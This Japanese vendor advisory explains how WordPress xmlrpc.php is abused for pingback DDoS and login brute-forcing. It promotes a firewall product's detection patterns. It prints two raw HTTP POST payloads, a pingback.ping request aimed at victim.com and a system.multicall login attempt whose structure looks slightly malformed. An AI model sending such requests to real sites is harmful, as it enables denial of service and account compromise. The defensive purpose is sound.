1. 概要 :
WordPressのxmlrpc.phpファイルは、トランスポートメカニズムとしてHTTPを利用します。これは、XMLをエンコーディング・メカニズムとして機能させ、データを転送するWordPressの機能です。xmlrpc.phpファイルは、他のシステム(他のブログやアプリ)との通信を処理するために作成されたファイルで、このxmlrpc.phpファイルを通して、pingback攻撃やブルートフォース攻撃を実行することができます。
- pingback = 誰かがあなたの投稿を引用したときに、元の投稿にpingを送り返す機能。
- ブルートフォース=総当たり攻撃
2.攻撃プロセス :
1) xmlrpc.phpが有効になっていることを確認する。WordPressホストから/xmlrpc.phpをGETする。
2)場合によっては、パスは/wordpress/xmlrpc.phpまたは/wp/xmlrpc.phpです。
3)XML-RPCサーバーはPOSTリクエストのみ受け付けます。これは、脆弱なxmlrpc.phpファイルが有効になっていることを意味します。
2-1) ピンバック攻撃
POST /xmlrpc.php HTTP/1.1
Content-Length: 258
Content-Type: application/xml; charset=utf-8
Host: xxx.com
User-Agent: HTTPie
<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>https://victim.com</string></value></param><param><value><string>http://xxx/sample-page/</string></value></param></params></methodCall>
- pingback を使用した DDoS 攻撃は、サーバをオフラインにし、麻痺させることができます。xmlrpc.phpの機能は、攻撃者にDDoS攻撃を仕掛けるための手段を与え、サーバの速度や可用性に影響を与える可能性があります。
2-2) ブルートフォース・アタック
POST /xmlrpc.php HTTP/1.1
Content-Length: 239
Content-Type: application/xml; charset=utf-8
Host: xxx.com
User-Agent: HTTPie
<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>system.multicall</methodName><params><param><value><string>testid</string></value></param><param><value><string>testpasswrod/</string></value></param></params></methodCall>
- ブルートフォース攻撃は、WordPressの管理者と思われる人物でログインを試みます。WordPressの管理者ページのアドレスは固定されているので、彼らはあなたのサイトにハッキングするために何百もの異なるパスワードを試すことができます。
3. 対策 :
サーバーの場合は、設定ファイルまたは関連するプラグインを通じて行うことができる。
当社のAIWAF製品では、<Wordpress xmlrpc.php DoS>パターンでこの脆弱性を悪用する攻撃構文を検出します。
4. 結論 :
比較的対応が容易な脆弱性ではあるが、Wordpressを利用したWebサービスが多いため、迅速な対応が必要であり、アップデートが随時公開されるため、定期的なチェックとアップデートが必要である。
当社のAIWAF製品では、Wordpressのxmlrpc.php関連の脆弱性に対応するためのパターンを多数開発しており、今後も発見されるWordpressのxmlrpc.php関連の脆弱性に迅速に対応していきます。
5.参考文献 :